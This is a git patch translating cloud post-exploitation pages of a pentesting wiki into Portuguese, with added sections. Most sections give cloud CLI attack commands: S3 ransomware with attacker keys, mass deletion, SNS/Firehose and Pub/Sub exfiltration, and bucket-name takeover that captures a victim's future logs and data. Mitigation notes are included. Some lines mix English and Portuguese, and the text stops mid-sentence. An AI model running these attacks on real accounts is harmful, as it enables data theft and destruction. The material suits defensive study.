From af2d24cbdddf4eb330bf45750f8f66e02bc69138 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 25 Jun 2026 15:59:48 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws --- .../aws-s3-post-exploitation/README.md | 88 +++++++++----- .../aws-sns-firehose-exfil.md | 30 +++-- .../az-blob-storage-post-exploitation.md | 37 +++++- .../gcp-logging-post-exploitation.md | 54 +++++++-- .../gcp-pub-sub-post-exploitation.md | 81 +++++++++---- .../gcp-storage-post-exploitation.md | 54 +++++++-- .../pentesting-cloud-methodology.md | 111 ++++++++++++------ 7 files changed, 326 insertions(+), 129 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md index a8ecdc5fc..902c8e7c2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -4,7 +4,7 @@ ## S3 -For more information check: +Para mais informações, consulte: {{#ref}} ../../aws-services/aws-s3-athena-and-glacier-enum.md @@ -12,39 +12,39 @@ For more information check: ### Sensitive Information -Às vezes você poderá encontrar informação sensível legível nos buckets. Por exemplo, terraform state secrets. +Às vezes, você conseguirá encontrar informações sensíveis legíveis nos buckets. Por exemplo, secrets de terraform state. ### Pivoting -Diferentes plataformas podem usar o S3 para armazenar ativos sensíveis.\ -Por exemplo, **airflow** poderia estar armazenando **DAGs** **code** lá, ou **web pages** poderiam ser servidas diretamente do S3. Um atacante com permissões de escrita poderia **modify the code** do bucket para **pivot** para outras plataformas, ou **takeover accounts** modificando arquivos JS. +Diferentes plataformas podem estar usando S3 para armazenar assets sensíveis.\ +Por exemplo, **airflow** pode estar armazenando o **code** de **DAGs** lá, ou **web pages** podem ser servidas diretamente do S3. Um atacante com permissões de escrita poderia **modify the code** do bucket para **pivot** para outras plataformas, ou **takeover accounts** modificando arquivos JS. ### S3 Ransomware -Neste cenário, o **attacker creates a KMS (Key Management Service) key in their own AWS account** ou em outra conta comprometida. Em seguida, eles tornam essa **key accessible to anyone in the world**, permitindo que qualquer usuário, role, ou conta AWS criptografe objetos usando essa chave. Porém, os objetos não podem ser descriptografados. +Neste cenário, o **atacante cria uma chave KMS (Key Management Service) em sua própria conta aws** ou em outra conta comprometida. Em seguida, torna essa **key acessível a qualquer pessoa no mundo**, permitindo que qualquer usuário, role ou conta aws possa criptografar objetos usando essa key. No entanto, os objetos não podem ser descriptografados. -O atacante identifica um alvo, **S3 bucket and gains write-level access** a ele usando vários métodos. Isso pode ser devido a uma má configuração do bucket que o expõe publicamente ou ao atacante obtendo acesso ao próprio ambiente AWS. O atacante normalmente mira buckets que contêm informação sensível, como personally identifiable information (PII), protected health information (PHI), logs, backups, e mais. +O atacante identifica um **bucket S3 alvo e obtém acesso de nível de escrita** a ele usando vários métodos. Isso pode ocorrer devido a uma má configuração do bucket que o expõe publicamente ou ao atacante obter acesso ao próprio ambiente aws. O atacante normalmente mira buckets que contêm informações sensíveis, como PII (personalmente identificável), PHI (informações de saúde protegidas), logs, backups e mais. -Para determinar se o bucket pode ser alvo de ransomware, o atacante verifica sua configuração. Isso inclui verificar se o **S3 Object Versioning** está habilitado e se o **multi-factor authentication delete (MFA delete) is enabled**. Se o Object Versioning não estiver habilitado, o atacante pode prosseguir. Se o Object Versioning estiver habilitado mas o MFA delete estiver desabilitado, o atacante pode **disable Object Versioning**. Se tanto o Object Versioning quanto o MFA delete estiverem habilitados, torna-se mais difícil para o atacante realizar ransomware nesse bucket específico. +Para determinar se o bucket pode ser alvo de ransomware, o atacante verifica sua configuração. Isso inclui confirmar se **S3 Object Versioning** está habilitado e se **multi-factor authentication delete (MFA delete)** está habilitado. Se Object Versioning não estiver habilitado, o atacante pode prosseguir. Se Object Versioning estiver habilitado, mas MFA delete estiver desabilitado, o atacante pode **desabilitar Object Versioning**. Se tanto Object Versioning quanto MFA delete estiverem habilitados, fica mais difícil para o atacante aplicar ransomware nesse bucket específico. -Usando a AWS API, o atacante **replaces each object in the bucket with an encrypted copy using their KMS key**. Isso efetivamente criptografa os dados no bucket, tornando-os inacessíveis sem a chave. +Usando a AWS API, o atacante **substitui cada objeto no bucket por uma cópia criptografada usando sua chave KMS**. Isso criptografa efetivamente os dados no bucket, tornando-os inacessíveis sem a key. -Para aumentar ainda mais a pressão, o atacante agenda a exclusão da chave KMS usada no ataque. Isso dá ao alvo uma janela de 7 dias para recuperar seus dados antes que a chave seja deletada e os dados se tornem permanentemente perdidos. +Para aumentar a pressão, o atacante agenda a exclusão da chave KMS usada no ataque. Isso dá ao alvo uma janela de 7 dias para recuperar seus dados antes que a key seja excluída e os dados se tornem permanentemente perdidos. -Finalmente, o atacante pode enviar um arquivo final, normalmente chamado "ransom-note.txt", que contém instruções para o alvo sobre como recuperar seus arquivos. Este arquivo é enviado sem criptografia, provavelmente para chamar a atenção do alvo e avisá-lo do ataque de ransomware. +Por fim, o atacante pode enviar um arquivo final, geralmente chamado "ransom-note.txt", que contém instruções para o alvo sobre como recuperar seus arquivos. Esse arquivo é enviado sem criptografia, provavelmente para chamar a atenção do alvo e torná-lo ciente do ataque de ransomware. #### SSE-C (Customer-Provided Key) Ransomware (Codefinger-like) -Outra variante é o abuso do **SSE-C** (S3 server-side encryption with **customer-provided keys**). Com SSE-C, o **client provides the encryption key on every request** e **AWS does not store the key**. Isso significa que se um atacante reescrever objetos usando **their own SSE-C key**, os dados da vítima se tornam ilegíveis a menos que a vítima consiga fornecer essa chave controlada pelo atacante. +Outra variante é abusar de **SSE-C** (S3 server-side encryption with **customer-provided keys**). Com SSE-C, o **client fornece a encryption key em toda request** e **AWS não armazena a key**. Isso significa que, se um atacante reescrever objetos usando **sua própria SSE-C key**, os dados da vítima se tornam ilegíveis, a menos que a vítima consiga fornecer essa key controlada pelo atacante. -- **Pré-requisitos:** Credenciais AWS comprometidas (ou qualquer principal com as permissões adequadas) e a capacidade de **rewrite objects** (por exemplo, `s3:PutObject` nas chaves/prefixos alvo). Isso costuma ser combinado com a capacidade de definir políticas de lifecycle destrutivas (veja abaixo), por exemplo, `s3:PutLifecycleConfiguration`. +- **Preconditions:** Credenciais aws comprometidas (ou qualquer principal com as permissões corretas) e a capacidade de **rewrite objects** (por exemplo, `s3:PutObject` nas keys/prefixes alvo). Isso geralmente é combinado com a capacidade de definir destructive lifecycle policies (veja abaixo), por exemplo `s3:PutLifecycleConfiguration`. - **Attack chain:** -1. O atacante gera uma chave aleatória de 256 bits (AES-256) e a mantém. -2. O atacante **rewrites** objetos existentes (mesmas chaves de objeto) usando cabeçalhos SSE-C de forma que o objeto armazenado agora está criptografado com a chave do atacante. -3. A vítima não consegue fazer download/descriptografar sem fornecer a chave SSE-C (mesmo que as permissões IAM estejam corretas). -4. O atacante pode deletar a chave (ou simplesmente nunca fornecê-la) para tornar os dados irrecuperáveis. +1. O atacante gera uma key aleatória de 256 bits (AES-256) e a guarda. +2. O atacante **reescreve** objetos existentes (as mesmas object keys) usando headers SSE-C, de modo que o objeto armazenado agora fique criptografado com a key do atacante. +3. A vítima não consegue fazer download/decrypt sem fornecer a SSE-C key (mesmo que as permissões IAM estejam corretas). +4. O atacante pode excluir a key (ou simplesmente nunca fornecê-la) para tornar os dados irrecuperáveis. -Example (conceptual) CLI usage: +Exemplo de uso conceitual da CLI: ```bash # Upload/overwrite an object encrypted with attacker-provided SSE-C key aws s3 cp ./file s3:/// \ @@ -56,25 +56,25 @@ aws s3 cp s3:/// ./file \ --sse-c AES256 \ --sse-c-key ``` -##### Aumentando a pressão: abuso do "temporizador" de ciclo de vida +##### Adding Pressure: Lifecycle "Timer" Abuse -Para remover opções de recuperação (como versões antigas), atacantes podem combinar regravações SSE-C com **regras de ciclo de vida** que expiram objetos e/ou excluem versões não atuais após um curto período: +Para remover opções de recovery (como versões antigas), atacantes podem combinar rewrites com SSE-C e **lifecycle rules** que expiram objects e/ou deletam noncurrent versions após um curto período: -- `s3:PutLifecycleConfiguration` no bucket permite que um atacante agende exclusões sem emitir operações de delete explícitas para cada objeto/versão. -- Isso é especialmente impactante quando **versioning está habilitado**, porque pode remover a "versão anterior boa" que, de outra forma, permitiria a recuperação. +- `s3:PutLifecycleConfiguration` no bucket permite que um atacante agende deletions sem emitir explicitamente operações de delete para cada object/version. +- Isso é especialmente impactante quando **versioning is enabled**, porque pode remover a "previous good version" que, de outra forma, permitiria recovery. -##### Detecção e Mitigações +##### Detection & Mitigations - Prefira **SSE-KMS** (ou SSE-S3) em vez de SSE-C, a menos que você tenha uma forte razão operacional para permitir SSE-C. -- Monitore/alerte sobre requisições `PutObject` usando cabeçalhos SSE-C (CloudTrail data events para S3). -- Monitore/alerte sobre `PutBucketLifecycleConfiguration` inesperados (mudanças de ciclo de vida). -- Monitore/alerte sobre picos súbitos em atividade de sobrescrita (mesmas chaves atualizadas rapidamente) e exclusões de delete-marker/versões. -- Restrinja permissões de alto risco: limite `s3:PutObject` aos prefixos necessários; restrinja fortemente `s3:PutLifecycleConfiguration` e `s3:PutBucketVersioning`; considere exigir MFA para ações administrativas sensíveis (quando aplicável) e use funções administrativas separadas com aprovações. -- Postura de recuperação: use **versioning**, **backups** e cópias imutáveis/offline (S3 replication para conta protegida, backup vaults, etc.); proteja versões não atuais contra exclusão agressiva e proteja mudanças de ciclo de vida com SCPs / guardrails. +- Monitore/alerte sobre requests `PutObject` usando headers SSE-C (CloudTrail data events para S3). +- Monitore/alerte sobre `PutBucketLifecycleConfiguration` inesperado (mudanças de lifecycle). +- Monitore/alerte sobre picos repentinos em atividade de overwrite (as mesmas keys atualizadas rapidamente) e delete-marker/version deletions. +- Restrinja permissões de alto risco: limite `s3:PutObject` aos prefixes necessários; restrinja fortemente `s3:PutLifecycleConfiguration` e `s3:PutBucketVersioning`; considere exigir MFA para ações administrativas sensíveis (quando aplicável) e use separate admin roles com approvals. +- Recovery posture: use **versioning**, **backups** e cópias immutáveis/offline (S3 replication para conta protegida, backup vaults, etc.); proteja noncurrent versions contra deleção agressiva e proteja mudanças de lifecycle com SCPs / guardrails. ### `s3:RestoreObject` -Um atacante com a permissão s3:RestoreObject pode reativar objetos arquivados no Glacier ou Deep Archive, tornando-os temporariamente acessíveis. Isso permite recuperação e exfiltração de dados historicamente arquivados (backups, snapshots, logs, certificações, segredos antigos) que normalmente estariam fora de alcance. Se o atacante combinar essa permissão com permissões de leitura (por exemplo, s3:GetObject), ele pode obter cópias completas de dados sensíveis. +Um atacante com a permissão s3:RestoreObject pode reativar objects arquivados em Glacier ou Deep Archive, tornando-os temporariamente acessíveis. Isso permite recovery e exfiltration de dados arquivados historicamente (backups, snapshots, logs, certifications, old secrets) que normalmente estariam fora de alcance. Se o atacante combinar essa permissão com permissões de leitura (por exemplo, s3:GetObject), ele pode obter cópias completas de dados sensíveis. ```bash aws s3api restore-object \ --bucket \ @@ -86,7 +86,7 @@ aws s3api restore-object \ ``` ### `s3:Delete*` -Um atacante com a permissão s3:Delete* pode excluir objetos, versões e buckets inteiros, interromper backups e causar perda de dados imediata e irreversível, destruição de evidências e comprometimento de artefatos de backup ou recuperação. +Um atacante com a permissão `s3:Delete*` pode excluir objetos, versões e buckets inteiros, interromper backups e causar perda de dados imediata e irreversível, destruição de evidências e comprometimento de artefatos de backup ou recuperação. ```bash # Delete an object from a bucket aws s3api delete-object \ @@ -103,6 +103,34 @@ aws s3api delete-object \ aws s3api delete-bucket \ --bucket ``` -**Para mais informações** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +### Takeover global do nome do bucket de autonomous writers - `s3:DeleteBucket` + +Os nomes de buckets S3 são globalmente únicos. Se uma conta vítima tiver writers automatizados que continuam entregando dados para `arn:aws:s3:::` e um atacante puder esvaziar/excluir esse bucket, o atacante pode recriar o mesmo nome de bucket em uma conta sob seu controle e receber entregas futuras sem alterar a configuração do serviço upstream. + +Alvos bons para revisar incluem destinos de replication de S3, streams de entrega do Kinesis Data Firehose, cadeias de entrega do CloudWatch Logs/SNS/WAF que chegam em S3, e jobs custom de backup ou export. +```bash +# Review S3 replication destinations on source buckets +aws s3api get-bucket-replication --bucket + +# Review Firehose S3 destinations +aws firehose describe-delivery-stream \ +--delivery-stream-name + +# Empty and delete the target bucket, if permitted +aws s3 rm s3:// --recursive +aws s3api delete-bucket --bucket + +# Recreate the same globally-unique name in the attacker account +aws s3 mb s3:// --region +``` +A política do bucket substituto deve permitir que o writer upstream faça upload de objetos. O principal exato depende do serviço: por exemplo, uma IAM replication role, uma Firehose delivery role, ou um service principal restringido com `aws:SourceArn` / `aws:SourceAccount`. + +**Potential Impact:** exfiltração silenciosa de objetos replicados no futuro, logs, telemetry, backups e pipeline artifacts para uma conta AWS controlada por um attacker. + +**Detection & Mitigation:** alertar sobre a exclusão de buckets referenciados por replication rules ou delivery streams, monitorar falhas de entrega `NoSuchBucket` seguidas pela recriação do bucket, restringir `s3:DeleteBucket` em destinos de exportação e fixar entregas cross-account com políticas de bucket rígidas e expectativas de ownership. + + + +**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md index 0d67d985d..fcbe5b26e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md @@ -2,14 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -Abuse o protocolo de assinatura do Firehose para registrar um Kinesis Data Firehose delivery stream controlado pelo atacante em um tópico SNS standard da vítima. Uma vez que a assinatura esteja configurada e a IAM role exigida confie em `sns.amazonaws.com`, cada notificação futura será gravada de forma durável no S3 bucket do atacante com ruído mínimo. +Abuse the Firehose subscription protocol to register an attacker-controlled Kinesis Data Firehose delivery stream on a victim SNS standard topic. Once the subscription is in place and the required IAM role trusts `sns.amazonaws.com`, every future notification is durably written into the attacker’s S3 bucket with minimal noise. -## Requisitos -- Permissões na conta do atacante para criar um S3 bucket, um Firehose delivery stream e a IAM role usada pelo Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.). -- A capacidade de `sns:Subscribe` ao tópico da vítima (e opcionalmente `sns:SetSubscriptionAttributes` se o subscription role ARN for fornecido após a criação). -- Uma topic policy que permita ao principal atacante se inscrever (ou o atacante já opera dentro da mesma conta). +## Requirements +- Permissions in the attacker account to create an S3 bucket, Firehose delivery stream, and the IAM role used by Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.). +- The ability to `sns:Subscribe` to the victim topic (and optionally `sns:SetSubscriptionAttributes` if the subscription role ARN is provided after creation). +- A topic policy that allows the attacker principal to subscribe (or the attacker already operates inside the same account). -## Passos do Ataque (exemplo na mesma conta) +## Attack Steps (same-account example) ```bash REGION=us-east-1 ACC_ID=$(aws sts get-caller-identity --query Account --output text) @@ -68,9 +68,23 @@ sleep 90 aws s3 ls s3://$ATTACKER_BUCKET/ --recursive ``` ## Limpeza -- Exclua a SNS subscription, o Firehose delivery stream, as temporary IAM roles/policies e o attacker S3 bucket. +- Delete the SNS subscription, Firehose delivery stream, temporary IAM roles/policies, and attacker S3 bucket. ## Impacto -**Impacto Potencial**: Exfiltração contínua e durável de cada mensagem publicada no SNS topic alvo para armazenamento controlado pelo attacker com pegada operacional mínima. +**Potential Impact**: Exfiltração contínua e durável de every message published to the targeted SNS topic para storage controlado pelo attacker, com minimal operational footprint. + +## Variante Relacionada de Sequestro de Bucket-Name + +Se uma cadeia existente SNS -> Firehose -> S3 já grava em um bucket e o attacker consegue deletar esse bucket, ele pode ser capaz de recriar o mesmo globally-unique S3 bucket name em uma conta controlada pelo attacker. Future Firehose deliveries podem então cair no bucket de substituição sem changing a SNS subscription or Firehose stream configuration. +```bash +# Identify the Firehose S3 destination +aws firehose describe-delivery-stream \ +--delivery-stream-name \ +--query 'DeliveryStreamDescription.Destinations[].S3DestinationDescription' + +# After deleting the original bucket, recreate the same name in the attacker account +aws s3 mb s3:// --region +``` +Conceda ao role de entrega do Firehose acesso ao bucket de substituição se o role puder escrever cross-account. Monitore a exclusão de bucket nos destinos do Firehose, falhas de entrega e mudanças inesperadas de ownership do bucket. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md index f65051cae..b1221ecae 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md @@ -4,7 +4,7 @@ ## Storage Privesc -Para mais informações sobre armazenamento, consulte: +Para mais informações sobre storage, confira: {{#ref}} ../az-services/az-storage.md @@ -12,7 +12,7 @@ Para mais informações sobre armazenamento, consulte: ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read` -Um principal com esta permissão poderá **listar** os blobs (arquivos) dentro de um contêiner e **baixar** os arquivos que podem conter **informações sensíveis**. +Um principal com essa permissão poderá **listar** os blobs (arquivos) dentro de um container e **baixar** os arquivos, que podem conter **informações sensíveis**. ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read az storage blob list \ @@ -26,7 +26,7 @@ az storage blob download \ ``` ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write` -Um principal com esta permissão poderá **escrever e sobrescrever arquivos em contêineres**, o que pode permitir que ele cause algum dano ou até mesmo escale privilégios (por exemplo, sobrescrever algum código armazenado em um blob): +Um principal com essa permissão será capaz de **escrever e sobrescrever arquivos em containers**, o que pode permitir causar algum dano ou até escalar privilégios (por exemplo, sobrescrever algum código armazenado em um blob): ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write az storage blob upload \ @@ -36,6 +36,35 @@ az storage blob upload \ ``` ### \*/delete -Isso permitiria excluir objetos dentro da conta de armazenamento, o que pode **interromper alguns serviços** ou fazer com que o cliente **perca informações valiosas**. +Isso permitiria excluir objetos dentro da storage account, o que pode **interromper alguns serviços** ou fazer o cliente **perder informações valiosas**. + +### Sequestro do nome da storage account de exports de diagnóstico + +Os nomes de Azure Storage account são globalmente únicos. Alguns exports autônomos, como as configurações de diagnóstico do Azure Monitor, continuam gravando logs ou métricas em uma storage account configurada. Se um atacante conseguir excluir essa storage account e recriar o mesmo nome em uma subscription controlada pelo atacante dentro do mesmo tenant, a telemetria exportada no futuro poderá ser entregue à conta de substituição sem modificar a configuração de diagnóstico. + +Isso é especialmente interessante quando o atacante tem permissões destrutivas, como `Microsoft.Storage/storageAccounts/delete`, mas não consegue atualizar o recurso monitorado nem suas diagnostic settings. + +Isso exige que o nome da storage account seja liberado para reutilização. Na prática, as proteções de soft delete / recovery do Azure storage account podem atrasar ou impedir a reutilização imediata, especialmente entre tenants. +```bash +# Find diagnostic settings that write to a storage account +az monitor diagnostic-settings list \ +--resource \ +--query '[].{name:name,storageAccountId:storageAccountId}' + +# Delete the storage account, if permitted +az storage account delete \ +--name \ +--resource-group + +# Recreate the same globally-unique storage account name +az storage account create \ +--name \ +--resource-group \ +--location \ +--sku Standard_LRS +``` +**Potential Impact:** exfiltração de longo prazo de logs futuros, métricas, dados de auditoria e arquivos de diagnóstico para uma subscription controlada pelo atacante. + +**Detection & Mitigation:** alertar sobre a exclusão de storage accounts referenciadas por diagnostic settings, inventariar diagnostic settings com `storageAccountId`, monitorar destinos pendentes e restringir rigidamente permissões destrutivas em storage accounts de logging/archive. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md index 6b2032322..5b73f39bc 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md @@ -2,15 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -## Informações Básicas +## Basic Information -Para mais informações, veja: +Para mais informações, confira: {{#ref}} ../gcp-services/gcp-logging-enum.md {{#endref}} -Para outras formas de interromper o monitoramento, veja: +Para outras formas de interromper o monitoramento, confira: {{#ref}} gcp-monitoring-post-exploitation.md @@ -18,17 +18,17 @@ gcp-monitoring-post-exploitation.md ### Default Logging -**Por padrão você não será pego apenas por executar ações de leitura. Para mais informações, veja a seção Logging Enum.** +**Por padrão, você não será pego apenas por realizar ações de leitura. Para mais informações, confira a seção Logging Enum.** -### Adicionar Principal Isento +### Add Excepted Principal -Em [https://console.cloud.google.com/iam-admin/audit/allservices] e [https://console.cloud.google.com/iam-admin/audit] é possível adicionar principals para que não sejam gerados logs. Um atacante poderia abusar disso para evitar ser detectado. +Em [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) e [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) é possível adicionar principals para não gerar logs. Um atacante poderia abusar disso para evitar ser detectado. -### Ler logs - `logging.logEntries.list` +### Read logs - `logging.logEntries.list`
-Ler entradas de log +Read log entries ```bash # Read logs gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json @@ -89,7 +89,7 @@ gcloud logging buckets delete BUCKET_NAME --location=
-Excluir log link +Excluir link de log ```bash # Delete link gcloud logging links delete --bucket --location @@ -100,7 +100,7 @@ gcloud logging links delete --bucket --location
-Excluir visualização de logs +Excluir view de logging ```bash # Delete a logging view to remove access to anyone using it gcloud logging views delete --bucket= --location=global @@ -111,7 +111,7 @@ gcloud logging views delete --bucket= --location=global
-Atualizar view de logging para ocultar dados +Atualizar logging view para ocultar dados ```bash # Update a logging view to hide data gcloud logging views update --log-filter="resource.type=gce_instance" --bucket= --location=global --description="New description for the log view" @@ -133,7 +133,7 @@ gcloud logging metrics update --description="Changed metric descri
-Excluir métricas baseadas em log +Excluir métricas baseadas em logs ```bash # Delete log based metrics - logging.logMetrics.delete gcloud logging metrics delete @@ -144,7 +144,7 @@ gcloud logging metrics delete
-Excluir log sink +Excluir sink de logs ```bash # Delete sink - logging.sinks.delete gcloud logging sinks delete @@ -178,4 +178,32 @@ gcloud logging sinks update SINK_NAME --no-use-partitioned-tables ```
+### Hijack do bucket-name do Cloud Logging sink - `storage.buckets.delete` + +Os Cloud Logging sinks podem exportar logs continuamente para um destino do Cloud Storage como `storage.googleapis.com/` ou `storage.googleapis.com//`. Se um atacante puder deletar o bucket de destino, mas não puder atualizar o sink, ele ainda pode redirecionar futuros logs exportados recriando o mesmo nome de bucket globalmente único em um projeto controlado pelo atacante. + +Isso é útil quando o principal comprometido tem permissões destrutivas de storage, como `storage.buckets.delete`, `storage.objects.delete` e `storage.objects.list`, mas não tem `logging.sinks.update`. +```bash +# Find sinks that export to Cloud Storage +gcloud logging sinks list --project \ +--format='table(name,destination,disabled,writerIdentity)' + +# Empty and delete the destination bucket, if permitted +gcloud storage rm -r gs:// + +# Recreate the same bucket name in the attacker-controlled project +gcloud storage buckets create gs:// \ +--project \ +--location + +# Allow the sink writer identity to write objects into the replacement bucket +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='serviceAccount:' \ +--role='roles/storage.objectCreator' \ +--project +``` +**Impacto Potencial:** exfiltração silenciosa de longo prazo de futuros audit logs, application logs, security telemetry e quaisquer outros eventos correspondidos pelo filtro do sink. + +**Detecção & Mitigação:** alertar sobre a exclusão de buckets referenciados por sinks ativos, inventariar destinos de sink para nomes de bucket pendentes, restringir `storage.buckets.delete` em logging destinations e proteger buckets de exportação com controles de retenção/hold quando possível. + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md index 995b1c101..3d5d9315b 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md @@ -4,7 +4,7 @@ ## Pub/Sub -Para mais informações sobre Pub/Sub, consulte a seguinte página: +Para mais informações sobre Pub/Sub, confira a seguinte página: {{#ref}} ../gcp-services/gcp-pub-sub.md @@ -12,11 +12,11 @@ Para mais informações sobre Pub/Sub, consulte a seguinte página: ### `pubsub.topics.publish` -Publica uma mensagem em um tópico, útil para **enviar dados inesperados** e acionar funcionalidades inesperadas ou exploit vulnerabilities: +Publicar uma mensagem em um topic, útil para **enviar dados inesperados** e acionar funcionalidades inesperadas ou explorar vulnerabilidades:
-Publicar mensagem no tópico +Publicar mensagem no topic ```bash # Publish a message in a topic gcloud pubsub topics publish --message "Hello!" @@ -29,7 +29,7 @@ gcloud pubsub topics publish --message "Hello!"
-Desanexar a subscription do topic +Desanexar subscription do topic ```bash gcloud pubsub topics detach-subscription ``` @@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription ### `pubsub.topics.delete` -Útil para impedir que uma assinatura receba mensagens, talvez para evitar detecção.\ -É possível excluir um tópico mesmo com assinaturas anexadas a ele. +Útil para impedir que uma subscription receba mensagens, talvez para evitar detecção.\ +É possível deletar um topic mesmo com subscriptions anexadas a ele.
-Excluir tópico +Delete topic ```bash gcloud pubsub topics delete ``` @@ -50,11 +50,11 @@ gcloud pubsub topics delete ### `pubsub.topics.update` -Use esta permissão para atualizar alguma configuração do tópico para perturbá-lo, como `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`... +Use esta permissão para atualizar alguma configuração do topic para interrompê-lo, como `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`... ### `pubsub.topics.setIamPolicy` -Conceda a si mesmo permissão para executar qualquer um dos ataques anteriores. +Dê a si mesmo permissão para realizar qualquer um dos ataques anteriores. ```bash # Add Binding gcloud pubsub topics add-iam-policy-binding \ @@ -84,7 +84,7 @@ gcloud pubsub topics set-iam-policy \ ``` ### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`) -Obter todas as mensagens em um servidor web: +Obtenha todas as mensagens em um web server:
@@ -95,11 +95,11 @@ gcloud pubsub subscriptions create --topic --pu ```
-Crie uma subscription e use-a para recuperar mensagens (pull): +Criar uma subscription e usá-la para **pull messages**:
-Criar uma subscription pull e recuperar mensagens +Criar pull subscription e recuperar mensagens ```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions create --topic @@ -112,11 +112,11 @@ gcloud pubsub subscriptions pull ### `pubsub.subscriptions.delete` -**Excluir uma assinatura** pode ser útil para interromper um sistema de processamento de logs ou algo similar: +**Excluir uma subscription** poderia ser útil para interromper um sistema de processamento de logs ou algo semelhante:
-Excluir assinatura +Excluir subscription ```bash gcloud pubsub subscriptions delete ``` @@ -124,28 +124,61 @@ gcloud pubsub subscriptions delete ### `pubsub.subscriptions.update` -Use esta permissão para atualizar alguma configuração para que as mensagens sejam armazenadas em um lugar que você possa acessar (URL, Big Query table, Bucket) ou apenas para causar uma interrupção. +Use this permission to update some setting so messages are stored in a place you can access (URL, Big Query table, Bucket) or just to disrupt it.
-Endpoint de atualização da subscription +Atualizar endpoint da subscription ```bash gcloud pubsub subscriptions update --push-endpoint ```
+### Hijack de subscription de Cloud Storage bucket-name - `storage.buckets.delete` + +Subscriptions do Pub/Sub podem gravar mensagens entregues em buckets do Cloud Storage. Se uma subscription continuar apontando para `gs://` e um atacante puder deletar esse bucket, o atacante pode recriar o mesmo nome de bucket globalmente único em outro project e receber mensagens futuras sem alterar a subscription. + +Isso pode ser valioso quando o atacante não pode usar `pubsub.subscriptions.update`, mas pode deletar o bucket de destino com permissões como `storage.buckets.delete`, `storage.objects.delete` e `storage.objects.list`. +```bash +# Find Cloud Storage subscriptions and their destinations +gcloud pubsub subscriptions list --project \ +--format='json(name,topic,cloudStorageConfig)' + +# Empty and delete the destination bucket +gcloud storage rm -r gs:// + +# Recreate the same bucket name under attacker control +gcloud storage buckets create gs:// \ +--project \ +--location + +# Grant the Pub/Sub service agent write access if delivery requires it +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='serviceAccount:service-@gcp-sa-pubsub.iam.gserviceaccount.com' \ +--role='roles/storage.objectCreator' \ +--project + +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='serviceAccount:service-@gcp-sa-pubsub.iam.gserviceaccount.com' \ +--role='roles/storage.legacyBucketReader' \ +--project +``` +**Potential Impact:** exfiltration of future Pub/Sub messages archived to Cloud Storage, including application events, failed pipeline payloads, logs, or data lake ingestion records. + +**Detection & Mitigation:** alert on deletion of buckets used by Pub/Sub subscriptions, review subscriptions with `cloudStorageConfig`, watch for delivery errors followed by bucket recreation, and limit destructive access on message archival buckets. + ### `pubsub.subscriptions.setIamPolicy` -Conceda a si mesmo as permissões necessárias para executar qualquer um dos ataques mencionados anteriormente. +Give yourself the 